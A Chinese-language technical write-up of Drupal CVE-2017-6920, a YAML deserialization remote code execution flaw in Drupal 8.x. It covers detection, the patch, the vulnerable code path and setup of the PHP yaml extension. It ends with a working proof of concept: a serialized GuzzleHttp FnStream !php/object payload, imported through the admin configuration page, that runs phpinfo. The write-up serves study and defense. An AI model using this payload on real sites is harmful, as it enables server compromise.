漏洞描述
Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。
漏洞检测
针对该漏洞,可采用两种方法进行检测:
方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;
方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函数public static function decode($raw),如果该函数代码不包含" ini_set('yaml.decode_php', 0);"调用,则存在该漏洞;否则,不存在该漏洞。
这是存在该漏洞的代码块
这是修复后的
漏洞分析
通过两个版本的文件可以发现漏洞的触发点,如上图。。
可以看到,8.3.4以后的版本 decode函数的开始处增加了如下的代码:
static $init;
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
漏洞所在函数decode的触发点代码如下:
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);
decode函数的参数$raw被直接带入了yamlparse函数中,文档官方对于yamlparse函数的描述如下:
yamlparse
(PECL yaml> = 0.4.0)yaml_parse - 解析YAML流
描述
mixed yaml_parse(string $ input [,int $ pos = 0 [,int&$ ndocs [,array $ callbacks = null]]])将全部或部分YAML文档流转换为PHP变量。
参数
输入要解析为YAML文档流的字符串。
pos从流中提取文档(所有文档为-1,第一个文档为0,...)。
ndocs如果提供了ndocs,则会填充流中找到的文档数量。
回调YAML节点的内容处理程序。YAML标记的关联数组=>可调用映射。有关更多详细信息,请参阅解析回调。
返回值
以适当的PHP类型返回在输入中编码的值,或者在失败时返回FALSE。如果pos为-1,则将返回一个数组,其中每个在流中找到的文档都有一个条目。
第一个参数是需要parse成yaml的文档流。从上文来看,只有yaml_parse的第一个参数是外部可控的。官方对这个函数有一个特别的说明,也就是该漏洞的触发原理:
Notes
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.
警告:如果为使用!php / object标记的节点启用了unserialize(),则使用yamlparse()处理不可信用户输入是非常危险的。这种行为可以通过使用yaml.decodephp ini设置来禁用。
即可以通过!php/object来声明一个节点,然后用这个!php/object声明的节点内容会以解序列化的方式进行处理;如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码因此。 ,这个远程代码执行漏洞的罪魁祸首首当是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。显然,控制decode函数的参数即可触发该漏洞先定位。decode函数的调用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行发现:
public static function decode($raw) {
$serializer = static::getSerializer();
return $serializer::decode($raw);
}
函数该调用了getSerializer函数,该跟踪函数在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行发现:
protected static function getSerializer() {
if (!isset(static::$serializer)) {
// Use the PECL YAML extension if it is available. It has better
// performance for file reads and is YAML compliant.
if (extension_loaded('yaml')) {
static::$serializer = YamlPecl::class;
}
else {
// Otherwise, fallback to the Symfony implementation.
static::$serializer = YamlSymfony::class;
}
}
return static::$serializer;
}
如果存在YAML扩展,$serializer就使用YamlPecl类,然后调用YamlPecl这个类中的decode函数;如果不存在YAML扩展,就用YamlSymfony类中的decode。函数显然,一定要迫使代码利用YamlPecl类中的decode函数,这需要引入YAML扩展
我是在windows环境下测试的,用的wamp,所以只说在wamp中引入yaml扩展
1、先看下自己php的编译版本
Architecture : x86 编译系统架构:X86代表32位系统,X64代表64位系统
Thread Safety : enabled 线程安全: enabled 代表线程安全 disabled 非线程安全
看下自己php的版本
安装的时候去 http://pecl.php.net 搜索相对于的扩展
nts--- 代表非线程安全 ts代表线程安全
找打合适i版本和把dll放在php扩展目录下即可。
想了解Linux下,看 PHP-yaml 安装
(1)YAML编译
在http://pecl.php.net/package/yaml下载TGZ源码包
(2)引用扩展
将然后php_yaml.dll放入PHP扩展文件夹下,然后修改php.ini中,将extension_dir写成phpyaml.dll所存放的目录,然后加上extension=php_yaml.dll。
最后重启apache的,看到的phpinfo中有YAML扩展,就说明安装成功,如图:
漏洞验证
1.序列化一个GuzzleHttp\Psr7\FnStream类,序列化后的字符串,给该序列化字符串加上yaml的!php/object tag(注意一定要转义),最后得到的字符串如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
2.登录一个管理员账号,访问如下url: http://localhost/drupal830/admin/config/development/configuration/single/import,然后我们进行如图所示的操作:
然后点击import按钮,就会执行phpinfo函数。
本文参考内容: https://paper.seebug.org/334/
http://baijiahao.baidu.com/s?id=1581449721290524096&wfr=spider&for=pc